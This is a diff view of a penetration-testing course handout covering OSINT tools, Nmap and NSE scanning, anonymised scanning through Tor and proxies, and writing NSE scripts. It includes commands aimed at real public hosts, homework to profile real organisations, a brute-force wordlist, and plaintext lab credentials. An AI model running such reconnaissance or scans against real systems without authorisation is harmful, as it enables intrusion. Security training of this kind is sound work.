SHOW:
|
|
- or go back to the newest paste.
1 | - | ######################################## |
1 | + | ######################################################## |
2 | - | # Ultimate Penetration Testing # |
2 | + | # CyberWar: Advanced Offensive Cyber Operations # |
3 | - | # By Joe McCray of Strategic Security # |
3 | + | # By Joe McCray of Strategic Security # |
4 | - | ######################################## |
4 | + | ######################################################## |
5 | ||
6 | ||
7 | ||
8 | ######################### | |
9 | # Class Virtual Machine # | |
10 | ######################### | |
11 | ||
12 | ||
13 | Here is the VMWare virtual machine for the class: | |
14 | ||
15 | - | https://s3-us-west-2.amazonaws.com/infosecaddicts/InfoSecAddictsVM.zip |
15 | + | https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip |
16 | user: infosecaddicts | |
17 | pass: infosecaddicts | |
18 | ||
19 | ||
20 | ||
21 | ||
22 | ||
23 | ################ | |
24 | # Day 1: OSINT # | |
25 | ################ | |
26 | OK - it's time to get rollin!!!!!! I know that you are probably ready to scan the entire planet but I want you to do some Open Source Intelligence (OSINT) first. | |
27 | ||
28 | - | https://s3.amazonaws.com/infosecaddicts-Files/OSINT_Innophos_11242010.doc |
28 | + | |
29 | https://s3.amazonaws.com/infosecaddictsfiles/OSINT_Innophos_11242010.doc | |
30 | ||
31 | Let's see if you can do a better one than me.... | |
32 | ||
33 | ||
34 | Here are a few places to start: | |
35 | ||
36 | - Wikipedia Page | |
37 | - Are they Public or Private? | |
38 | - Does the target have any subsidiaries? | |
39 | - Who are the key people | |
40 | ||
41 | - Robtex | |
42 | - Show system map | |
43 | - Are they behind a CDN | |
44 | ||
45 | - Netcraft | |
46 | - http://toolbar.netcraft.com/site_report | |
47 | - Are they using a Loadbalancer like F5 BigIP, or Citrix NetScaler | |
48 | ||
49 | - Passive Recon (Firefox Add-on) | |
50 | Download it from: https://addons.mozilla.org/en-US/firefox/addon/passiverecon/ | |
51 | ||
52 | ||
53 | ||
54 | ||
55 | Your first task: | |
56 | ---------------- | |
57 | Use the OSINT_Innophos doc as a reference and perform/document an OSINT assessment against any one of the following companies: | |
58 | NSA | |
59 | HSBC | |
60 | Coke | |
61 | Exxon Mobil | |
62 | KPMG | |
63 | Accenture | |
64 | NewYork-Presbyterian Hospital | |
65 | Kroger | |
66 | Dillard's | |
67 | Royal Caribbean International | |
68 | ||
69 | ||
70 | ||
71 | Tools that are good for OSINT: | |
72 | ------------------------------ | |
73 | Here are some tools that I think you should consider using for this challenge: | |
74 | FOCA | |
75 | Maltego | |
76 | Search Diggity | |
77 | ShodanHQ | |
78 | PassiveRecon | |
79 | EDGAR | |
80 | theHarvester | |
81 | gxfr.py | |
82 | VisualRoute | |
83 | ||
84 | ||
85 | ||
86 | ||
87 | - | You must create a MS WORD document titled 'FirstName-LastName-Ultimate-Pentesting-Day1-OSINT-Report.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-OSINT-Report.docx). |
87 | + | |
88 | ********************************** Begin Day 1 Homework Part 1 ********************************** | |
89 | NOTE: Creating this OSINT Report IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS | |
90 | ||
91 | ||
92 | - | Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST. |
92 | + | You must create a MS WORD document titled 'FirstName-LastName-Cyberwar-Day1-OSINT-Report.docx' (ex: Joseph-McCray-CyberWar-Day1-OSINT-Report.docx). |
93 | ||
94 | You must spell you name EXACTLY as you want it spelled on your class certificate. | |
95 | ||
96 | IMPORTANT NOTE: | |
97 | Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST. | |
98 | ||
99 | ||
100 | ********************************** End Day 1 Homework Part 1 ********************************** | |
101 | ||
102 | ||
103 | ||
104 | ||
105 | Email Harvesting | |
106 | ---------------- | |
107 | ||
108 | cd ~/toolz/ | |
109 | ||
110 | rm -rf theharvester-read-only/ | |
111 | ||
112 | sudo apt install -y python-pyasn1 python-pyasn1-modules | |
113 | infosecaddicts | |
114 | ||
115 | git clone https://github.com/laramies/theHarvester.git | |
116 | ||
117 | cd theHarvester/ | |
118 | ||
119 | python theHarvester.py | |
120 | ||
121 | python theHarvester.py -d motorola.com -l 50 -b google | |
122 | ||
123 | python theHarvester.py -d motorola.com -l 50 -b bing | |
124 | ||
125 | python theHarvester.py -d motorola.com -l 50 -b linkedin | |
126 | ||
127 | python theHarvester.py -d motorola.com -l 50 -b pgp | |
128 | ||
129 | ||
130 | ||
131 | ||
132 | ||
133 | File Meta-Data Harvesting | |
134 | ------------------------- | |
135 | cd ~/toolz/ | |
136 | ||
137 | sudo apt install -y python-pip | |
138 | infosecaddicts | |
139 | ||
140 | sudo pip install google | |
141 | infosecaddicts | |
142 | ||
143 | git clone https://github.com/opsdisk/metagoofil.git | |
144 | ||
145 | cd metagoofil/ | |
146 | ||
147 | ||
148 | python metagoofil.py -d motorola.com -t doc,pdf -l 100 -n 3 -o motorolafiles | |
149 | ||
150 | sudo apt install -y libimage-exiftool-perl | |
151 | ||
152 | exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -u | |
153 | ||
154 | ||
155 | ||
156 | ||
157 | ||
158 | python metagoofil.py -d [domain name] -t doc,pdf -l 100 -n 3 -o motorolafiles | |
159 | Whereas: | |
160 | ||
161 | -d : I used another domain name aside from Google.com to make it work | |
162 | -t : I asked for the program to search two types of public documents whuch are doc and pdf files | |
163 | -l : I limited the search result to 100 to make the process faster | |
164 | -n : I limited the downloads (files that are going to be downloaded to get their metadatas extracted) to only 3 to make the process faster | |
165 | -o : I directed the result of the compilation t motorolafiles, which is a file located inside the metagoofil directory (~/toolz/metagoofil/motorolafiles) | |
166 | -f : Save the html links to html_links_<TIMESTAMP>.txt file | |
167 | ||
168 | ||
169 | ||
170 | ||
171 | ||
172 | ||
173 | Github Info Harvesting | |
174 | ---------------------- | |
175 | cd ~/toolz/ | |
176 | ||
177 | sudo pip install gitem | |
178 | infosecaddicts | |
179 | ||
180 | gitem organization facebook | |
181 | ||
182 | ||
183 | gitem repository facebook react | |
184 | - | Network Topology Enumeration |
184 | + | |
185 | ||
186 | gitem --processes 4 user zpao | |
187 | ** This should give you a rate limit error. You need to create an OAuth token like my example below | |
188 | ||
189 | gitem -o xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx --processes 4 user zpao | |
190 | ||
191 | ||
192 | Github Access Token Creation Reference: | |
193 | https://help.github.com/articles/creating-an-access-token-for-command-line-use/ | |
194 | ||
195 | ||
196 | Network Topology Enumeration (NOTE: This tool may not work anymore due to changes at BING) | |
197 | ------------------------------------------------------------------------------------------ | |
198 | ||
199 | cd ~/toolz/ | |
200 | ||
201 | wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py | |
202 | ||
203 | python gxfr.py --bxfr --dns-lookup -o | |
204 | motorola.com | |
205 | [ press enter ] | |
206 | cw1kxyUgMdkECBNMb1fGqKJ9sC1lznaR20fPJeIt45Y= | |
207 | ||
208 | ------------------------------------------------------------------------------------------ | |
209 | ||
210 | ||
211 | cd ~/toolz/ | |
212 | ||
213 | rm -rf fierce2/ | |
214 | ||
215 | git clone https://github.com/mschwager/fierce.git | |
216 | ||
217 | - | python3 fierce.py --domain facebook.com --subdomains admin --traverse 10 |
217 | + | |
218 | ||
219 | sudo apt install -y python3-pip | |
220 | infosecaddicts | |
221 | ||
222 | sudo pip3 install -r requirements.txt | |
223 | ||
224 | python3 fierce.py -h | |
225 | ||
226 | python3 fierce.py --domain motorola.com --subdomains accounts admin ads | |
227 | Traverse IPs near discovered domains to search for contiguous blocks with the --traverse flag: | |
228 | ||
229 | python3 fierce.py --domain facebook.com --subdomains accounts --traverse 10 | |
230 | ||
231 | ||
232 | Limit nearby IP traversal to certain domains with the --search flag: | |
233 | ||
234 | python3 fierce.py --domain facebook.com --subdomains admin --search fb.com fb.net | |
235 | ||
236 | ||
237 | Attempt an HTTP connection on domains discovered with the --connect flag: | |
238 | ||
239 | python3 fierce.py --domain stackoverflow.com --subdomains mail --connect | |
240 | ||
241 | ||
242 | ||
243 | ||
244 | ||
245 | ||
246 | Recon-NG (Metasploit for Recon): | |
247 | -------------------------------- | |
248 | cd ~/toolz/ | |
249 | ||
250 | sudo apt install -y git python-pip python-dnspython python-mechanize python-slowaes python-xlsxwriter python-jsonrpclib python-lxml | |
251 | infosecaddicts | |
252 | ||
253 | sudo pip install dicttoxml | |
254 | infosecaddicts | |
255 | ||
256 | ||
257 | ||
258 | git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git | |
259 | cd recon-ng | |
260 | ./recon-ng | |
261 | ||
262 | ||
263 | ||
264 | At the prompt, let's type help in order to look at the commands we can use in Recon-ng. | |
265 | ||
266 | recon-ng > help | |
267 | ||
268 | ||
269 | Note that many of these commands are nearly identical to Metasploit including back, set, use, search, show, and unset. | |
270 | ||
271 | recon-ng > [ TAB ] [ TAB ] | |
272 | ||
273 | ||
274 | ||
275 | To see all the modules in Recon-ng, we can type: | |
276 | ||
277 | recon-ng > show [ TAB ] [ TAB ] | |
278 | ||
279 | ||
280 | ||
281 | Ok, let's drive this thing.... | |
282 | ||
283 | recon-ng > show banner | |
284 | ||
285 | recon-ng > show companies | |
286 | ||
287 | recon-ng > show contacts | |
288 | ||
289 | recon-ng > show credentials | |
290 | ||
291 | recon-ng > show dashboard | |
292 | ||
293 | recon-ng > show domains | |
294 | ||
295 | recon-ng > show hosts | |
296 | ||
297 | recon-ng > show keys | |
298 | ||
299 | recon-ng > show leaks | |
300 | ||
301 | recon-ng > show locations | |
302 | ||
303 | recon-ng > show modules | |
304 | ||
305 | recon-ng > show netblocks | |
306 | ||
307 | recon-ng > show options | |
308 | ||
309 | recon-ng > show ports | |
310 | ||
311 | recon-ng > show profiles | |
312 | ||
313 | recon-ng > show pushpins | |
314 | ||
315 | recon-ng > show repositories | |
316 | ||
317 | recon-ng > show schema | |
318 | ||
319 | recon-ng > show vulnerabilities | |
320 | ||
321 | recon-ng > show workspaces | |
322 | ||
323 | ||
324 | ||
325 | ||
326 | ||
327 | When you have found a module that you would like to try the process is fairly straight forward. | |
328 | ||
329 | Type, “use [Modulename]” to use the module | |
330 | ||
331 | Type, “show info” to view information about the module | |
332 | ||
333 | And then, “show options” to see what variables can be set | |
334 | ||
335 | Set the option variables with “set [variable]” | |
336 | ||
337 | Finally, type “run” to execute the module | |
338 | ||
339 | - | You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Recon-NG.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Recon-NG.docx). |
339 | + | |
340 | ||
341 | ||
342 | ||
343 | ||
344 | ********************************** Begin Day 1 Homework Part 2 ********************************** | |
345 | NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS | |
346 | ||
347 | ||
348 | You must take screenshots of the process of you registering at least 5 API keys, as well as screenshots of you using at least 10 Recon-NG modules against a target company. | |
349 | - | Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST. |
349 | + | |
350 | ||
351 | You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day1-Recon-NG.docx' (ex: Joseph-McCray-Cyberwar-Day1-Recon-NG.docx). | |
352 | ||
353 | You must spell you name EXACTLY as you want it spelled on your class certificate. | |
354 | ||
355 | ||
356 | Reference links: | |
357 | http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-part-1-getting-started-0169854/ | |
358 | http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-modules-rundown/ | |
359 | ||
360 | IMPORTANT NOTE: | |
361 | Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday May 21st at midnight EST. | |
362 | ||
363 | ********************************** End Day 1 Homework Part 2 ********************************** | |
364 | ||
365 | ||
366 | ||
367 | ||
368 | ||
369 | ||
370 | ||
371 | ||
372 | ||
373 | ############################ | |
374 | # Day 2: Advanced Scanning # | |
375 | ############################ | |
376 | Today will be heavily focused on scanning. We're going to scan, then scan again, and then scan some more. When we are doing scanning - we are going to scan some more.... | |
377 | ||
378 | ||
379 | ||
380 | ||
381 | ######################## | |
382 | # Scanning Methodology # | |
383 | ######################## | |
384 | ||
385 | - Ping Sweep | |
386 | What's alive? | |
387 | ------------ | |
388 | sudo nmap -sP 157.166.226.* | |
389 | infosecaddicts | |
390 | ||
391 | -if -SP yields no results try: | |
392 | ||
393 | sudo nmap -sL 157.166.226.* | |
394 | infosecaddicts | |
395 | ||
396 | sudo nmap -sL 157.166.226.* | grep com | |
397 | infosecaddicts | |
398 | - | # Day 1: 3rd Party Scanning, and scanning via proxies # |
398 | + | |
399 | - Port Scan | |
400 | What's where? | |
401 | ------------ | |
402 | sudo nmap -sS 162.243.126.247 | |
403 | infosecaddicts | |
404 | ||
405 | ||
406 | - Bannergrab/Version Query | |
407 | What versions of software are running | |
408 | ------------------------------------- | |
409 | - | cd /home/infosecaddicts/toolz/ |
409 | + | |
410 | - | perl proxyfinder-0.3.pl multiproxy 3 proxies.txt <-- This takes a long time to run |
410 | + | |
411 | ||
412 | ||
413 | - Vulnerability Research | |
414 | - | sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: socks4 127.0.0.1 9050 |
414 | + | |
415 | ---------------------------------------------- | |
416 | http://exploit-db.com | |
417 | http://securityfocus.com/bid | |
418 | https://packetstormsecurity.com/files/tags/exploit/ | |
419 | ||
420 | Example lookup for this scan would be: | |
421 | - | vi ~/toolz/fix-proxychains-dns.sh |
421 | + | https://web.nvd.nist.gov/view/vuln/search-results?query=nginx&search_type=all&cves=on |
422 | ||
423 | ||
424 | - | # This script is called by proxychains to resolve DNS names |
424 | + | |
425 | - | # DNS server used to resolve names |
425 | + | |
426 | - | # Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html |
426 | + | |
427 | - | DNS_SERVER=4.2.2.2 |
427 | + | NOTE: |
428 | Gereon, gave us a nice tip today about using IPTables ConnTrack: | |
429 | - | if [ $# = 0 ] ; then |
429 | + | iptables -I INPUT -m state -p icmp --echo-type echo-reply -j ACCEPT --state RELATED |
430 | - | echo " usage:" |
430 | + | |
431 | - | echo " proxyresolv <hostname> " |
431 | + | His point was that if you only accept echo-reply by related/state related all of the bogus answers will be dropped as the TTL decrement will be out of whack. |
432 | - | exit |
432 | + | |
433 | - | fi |
433 | + | You can see this point with another tool. I'll get you the syntax later today. |
434 | ||
435 | - | export LD_PRELOAD=libproxychains.so.3 |
435 | + | |
436 | - | dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}' |
436 | + | |
437 | - | ----------------------------------------------------------------------- |
437 | + | |
438 | # Day 2: 3rd Party Scanning, and scanning via proxies # | |
439 | ####################################################### | |
440 | ||
441 | https://www.shodan.io/ | |
442 | ||
443 | - | tor-resolve infosecaddicts.com |
443 | + | |
444 | ||
445 | net:129.188.8.0/24 | |
446 | ||
447 | ||
448 | ||
449 | ||
450 | ||
451 | Scanning via Tor/proxychains | |
452 | ---------------------------- | |
453 | sudo apt install -y tor proxychains ntpdate | |
454 | ||
455 | sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: Socks4 127.0.0.1 9050 | |
456 | ||
457 | sudo ntpdate pool.ntp.org | |
458 | infosecaddicts | |
459 | ||
460 | tor-resolve room362.com | |
461 | ||
462 | proxychains nmap -sT -p80 162.243.126.247 | |
463 | ||
464 | proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 162.243.126.247 | |
465 | ||
466 | ||
467 | ||
468 | ||
469 | ||
470 | ||
471 | ||
472 | ------------------------------------------------------ | |
473 | cd ~/toolz | |
474 | git clone https://github.com/sensepost/glypeahead.git | |
475 | cd glypeahead/ | |
476 | vi config.php | |
477 | ||
478 | ****make the following change**** | |
479 | 'proxies' => array( | |
480 | 'https://branon.co.uk/glype/desktop-free/index.php', <--- line 40 | |
481 | 'http://ricardoalcala.com/index.php', | |
482 | ) | |
483 | ||
484 | ||
485 | php glypeahead config.php | |
486 | ||
487 | ||
488 | ||
489 | ||
490 | ######################### | |
491 | # Playing with Nmap NSE # | |
492 | - | return "Ultimate Pentesting!" |
492 | + | |
493 | ||
494 | nmap -Pn -p80 --script ip-geolocation-* infosecaddicts.com | |
495 | ||
496 | nmap -p80 --script dns-brute infosecaddicts.com | |
497 | ||
498 | nmap --script http-robtex-reverse-ip secore.info | |
499 | ||
500 | nmap -Pn -p80 --script=http-headers infosecaddicts.com | |
501 | ||
502 | ||
503 | ls /usr/share/nmap/scripts | grep http | |
504 | nmap -Pn -p80 --script=http-* infosecaddicts.com | |
505 | ||
506 | ||
507 | ||
508 | ||
509 | ||
510 | ||
511 | ||
512 | ||
513 | ||
514 | ||
515 | ||
516 | - | return "Ultimate Pentesting!" |
516 | + | |
517 | ||
518 | ||
519 | ################################### | |
520 | # Day 2: Scanning the lab network # | |
521 | ################################### | |
522 | ||
523 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | |
524 | Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack. | |
525 | If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover. | |
526 | ||
527 | So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN: | |
528 | https://s3.amazonaws.com/infosecaddictsfiles/Strategic-Security-2017-VPN-Info.pdf | |
529 | vpn username: {first_initial.last_name} example: j.mccray | |
530 | vpn password: vpnVPN1234!@#$ | |
531 | ||
532 | ||
533 | sudo nmap -sP 10.0.0.0/24 | |
534 | infosecaddicts | |
535 | ||
536 | ||
537 | sudo nmap -sL 10.0.0.0/24 | |
538 | infosecaddicts | |
539 | ||
540 | cd ~/toolz | |
541 | ||
542 | wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c | |
543 | ||
544 | gcc ipcrawl.c -o ipcrawl | |
545 | ||
546 | chmod 777 ipcrawl | |
547 | ||
548 | ./ipcrawl 10.0.0.1 10.0.0.254 | |
549 | ||
550 | ||
551 | ||
552 | wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c | |
553 | ||
554 | gcc propecia.c -o propecia | |
555 | ||
556 | sudo cp propecia /bin | |
557 | infosecaddicts | |
558 | ||
559 | propecia 10.0.0 22 | |
560 | ||
561 | propecia 10.0.0 3389 | |
562 | ||
563 | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open | |
564 | ||
565 | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}' | |
566 | ||
567 | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l | |
568 | ||
569 | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | |
570 | ||
571 | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt | |
572 | ||
573 | cat ~/labnet-ip-list.txt | |
574 | ||
575 | ################################################# | |
576 | # Screenshotting the Web Servers in the Network # | |
577 | ################################################# | |
578 | cd ~/toolz/ | |
579 | mkdir labscreenshots | |
580 | cd labscreenshots/ | |
581 | ||
582 | ||
583 | wget http://download.gna.org/wkhtmltopdf/0.12/0.12.4/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz | |
584 | tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz | |
585 | cd wkhtmltox/bin/ | |
586 | sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386 | |
587 | ||
588 | ||
589 | cd ~/toolz/ | |
590 | git clone git://github.com/SpiderLabs/Nmap-Tools.git | |
591 | cd Nmap-Tools/NSE/ | |
592 | ||
593 | sudo cp http-screenshot.nse /usr/share/nmap/scripts/ | |
594 | infosecaddicts | |
595 | ||
596 | sudo nmap --script-updatedb | |
597 | infosecaddicts | |
598 | ||
599 | ||
600 | cd ~/toolz/labscreenshots/ | |
601 | sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt | |
602 | infosecaddicts | |
603 | ||
604 | ||
605 | ||
606 | ||
607 | vi screenshots.sh | |
608 | ||
609 | #!/bin/bash | |
610 | printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html | |
611 | ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html | |
612 | printf "</BODY></HTML>" >> labnet-port-80-screenshots.html | |
613 | ||
614 | ||
615 | ||
616 | ||
617 | ||
618 | sh screenshots.sh | |
619 | ||
620 | ||
621 | python -m SimpleHTTPServer | |
622 | ||
623 | ||
624 | --- Now browse to the IP of your Linux machine on port 8000 (http://192.168.200.157:8000/labnet-port-80-screenshots.html): | |
625 | http://Ubuntu-VM-IP:8000/labnet-port-80-screenshots.html | |
626 | ||
627 | ||
628 | ||
629 | ||
630 | ########################## | |
631 | # Nmap NSE tricks to try # | |
632 | ########################## | |
633 | sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24 | |
634 | infosecaddicts | |
635 | ||
636 | sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24 | |
637 | infosecaddicts | |
638 | ||
639 | sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24 | |
640 | infosecaddicts | |
641 | ||
642 | sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24 | |
643 | infosecaddicts | |
644 | ||
645 | sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24 | |
646 | infosecaddicts | |
647 | ||
648 | sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24 | |
649 | infosecaddicts | |
650 | ||
651 | sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24 | |
652 | infosecaddicts | |
653 | ||
654 | sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24 | |
655 | infosecaddicts | |
656 | ||
657 | sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24 | |
658 | infosecaddicts | |
659 | ||
660 | - | ********************************** Begin Day 1 Homework Part 3 ********************************** |
660 | + | |
661 | infosecaddicts | |
662 | ||
663 | sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24 | |
664 | infosecaddicts | |
665 | - | You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Adv-Scanning.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Adv-Scanning.docx). |
665 | + | |
666 | sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24 | |
667 | infosecaddicts | |
668 | ||
669 | ||
670 | - | Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST. |
670 | + | |
671 | infosecaddicts | |
672 | - | ********************************** End Day 1 Homework Part 3 ********************************** |
672 | + | |
673 | ||
674 | ##################################### | |
675 | # Writing Your Own Nmap NSE Scripts # | |
676 | ##################################### | |
677 | ||
678 | ||
679 | ---------------------------------------------------------------------- | |
680 | sudo vi /usr/share/nmap/scripts/intro-nse.nse | |
681 | ||
682 | -- The Head Section -- | |
683 | -- The Rule Section -- | |
684 | - | # Day 2: # |
684 | + | |
685 | return port.protocol == "tcp" | |
686 | and port.number == 80 | |
687 | and port.state == "open" | |
688 | end | |
689 | ||
690 | -- The Action Section -- | |
691 | action = function(host, port) | |
692 | - | https://s3.amazonaws.com/infosecaddicts-Files/Strategic-Security-2016-VPN-Info.pdf |
692 | + | return "CyberWar!" |
693 | end | |
694 | ---------------------------------------------------------------------- | |
695 | ||
696 | - Ok, now that we've made that change let's run the script | |
697 | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443 | |
698 | ||
699 | ||
700 | ||
701 | ||
702 | ||
703 | ||
704 | ---------------------------------------------------------------------- | |
705 | sudo vi /usr/share/nmap/scripts/intro-nse.nse | |
706 | ||
707 | -- The Head Section -- | |
708 | local shortport = require "shortport" | |
709 | ||
710 | -- The Rule Section -- | |
711 | portrule = shortport.http | |
712 | ||
713 | ||
714 | -- The Action Section -- | |
715 | action = function(host, port) | |
716 | return "CyberWar!" | |
717 | end | |
718 | ---------------------------------------------------------------------- | |
719 | ||
720 | - Ok, now that we've made that change let's run the script | |
721 | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443 | |
722 | ||
723 | ||
724 | ||
725 | ||
726 | ||
727 | ||
728 | ||
729 | OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year. | |
730 | ||
731 | ---------------------------------------------------------------------- | |
732 | sudo vi /usr/share/nmap/scripts/intro-nse.nse | |
733 | ||
734 | -- The Head Section -- | |
735 | local shortport = require "shortport" | |
736 | local http = require "http" | |
737 | ||
738 | -- The Rule Section -- | |
739 | portrule = shortport.http | |
740 | ||
741 | -- The Action Section -- | |
742 | action = function(host, port) | |
743 | ||
744 | local uri = "/installing-metasploit-in-ubunt/" | |
745 | local response = http.get(host, port, uri) | |
746 | return response.status | |
747 | ||
748 | end | |
749 | ---------------------------------------------------------------------- | |
750 | ||
751 | - Ok, now that we've made that change let's run the script | |
752 | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 | |
753 | ||
754 | ||
755 | ||
756 | ||
757 | ---------------------------------------------------------------------- | |
758 | sudo vi /usr/share/nmap/scripts/intro-nse.nse | |
759 | ||
760 | -- The Head Section -- | |
761 | local shortport = require "shortport" | |
762 | local http = require "http" | |
763 | ||
764 | -- The Rule Section -- | |
765 | portrule = shortport.http | |
766 | ||
767 | -- The Action Section -- | |
768 | action = function(host, port) | |
769 | ||
770 | local uri = "/installing-metasploit-in-ubunt/" | |
771 | local response = http.get(host, port, uri) | |
772 | ||
773 | if ( response.status == 200 ) then | |
774 | return response.body | |
775 | end | |
776 | ||
777 | end | |
778 | ---------------------------------------------------------------------- | |
779 | ||
780 | - Ok, now that we've made that change let's run the script | |
781 | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 | |
782 | ||
783 | ||
784 | ||
785 | ||
786 | ||
787 | ||
788 | ||
789 | ||
790 | ||
791 | ---------------------------------------------------------------------- | |
792 | sudo vi /usr/share/nmap/scripts/intro-nse.nse | |
793 | ||
794 | -- The Head Section -- | |
795 | local shortport = require "shortport" | |
796 | local http = require "http" | |
797 | local string = require "string" | |
798 | ||
799 | -- The Rule Section -- | |
800 | portrule = shortport.http | |
801 | ||
802 | -- The Action Section -- | |
803 | action = function(host, port) | |
804 | ||
805 | local uri = "/installing-metasploit-in-ubunt/" | |
806 | local response = http.get(host, port, uri) | |
807 | ||
808 | if ( response.status == 200 ) then | |
809 | local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian") | |
810 | return title | |
811 | end | |
812 | ||
813 | end | |
814 | ---------------------------------------------------------------------- | |
815 | ||
816 | - Ok, now that we've made that change let's run the script | |
817 | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 | |
818 | ||
819 | ||
820 | ||
821 | ||
822 | ||
823 | ||
824 | ||
825 | ---------------------------------------------------------------------- | |
826 | sudo vi /usr/share/nmap/scripts/intro-nse.nse | |
827 | ||
828 | -- The Head Section -- | |
829 | local shortport = require "shortport" | |
830 | local http = require "http" | |
831 | local string = require "string" | |
832 | ||
833 | -- The Rule Section -- | |
834 | - | mkdir ~/toolz/wordlists |
834 | + | |
835 | - | cd ~/toolz/wordlists |
835 | + | |
836 | - | echo dbo >> users.txt |
836 | + | |
837 | - | echo sa >> users.txt |
837 | + | |
838 | - | echo admin >> users.txt |
838 | + | |
839 | - | echo root >> users.txt |
839 | + | |
840 | - | echo password >> pass.txt |
840 | + | |
841 | - | echo pass >> pass.txt |
841 | + | |
842 | - | echo hello >> pass.txt |
842 | + | |
843 | - | echo goodbye >> pass.txt |
843 | + | |
844 | - | echo test >> pass.txt |
844 | + | |
845 | - | echo admin >> pass.txt |
845 | + | |
846 | - | echo db >> pass.txt |
846 | + | |
847 | - | echo god >> pass.txt |
847 | + | |
848 | - | echo 123 >> pass.txt |
848 | + | |
849 | - | echo letmein >> pass.txt |
849 | + | |
850 | end | |
851 | end | |
852 | ||
853 | ---------------------------------------------------------------------- | |
854 | ||
855 | - Ok, now that we've made that change let's run the script | |
